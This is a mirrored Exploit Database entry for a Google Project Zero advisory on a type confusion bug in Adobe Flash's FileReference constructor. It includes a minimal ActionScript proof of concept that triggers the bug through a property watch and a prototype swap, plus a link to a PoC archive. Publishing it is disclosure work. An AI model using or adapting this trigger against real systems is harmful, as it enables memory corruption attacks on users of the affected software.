Adobe Flash – Type Confusion in FileReference Constructor

• Exploit Database
• 15 阅读

• 作者： Google Security Research
  日期： 2016-05-17
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/39829/

• Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=799
  
  There is a type confusion issue in the FileReference constructor. The constructor adds several properties to the constructed object before setting the type and data. If a watch is set on one of these properties, code can be called and the object can be initialized to one with a destructor before the FileReference constructor sets the object data, leading to type confusion when the object is garbage collected.
  
  A minimal PoC is as follows:
  
  function myfunc(){
  			
  			this.__proto__ = {};
  			this.__proto__.__constructor__ = flash.display.BitmapData;
  			super(1000, 1000);
  			
  			
  			}
  			
  
  	function mysubclass(){
  		
  
  		this.watch("name", myfunc);
  		_global.ASnative(2204, 200)(this); // FileReference constructor
  		this.unwatch("name"); // let the reference free
  		
  		}
  	}
  
  var a = new subclass();
  a = 0;
  // wait for GC
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39829.zip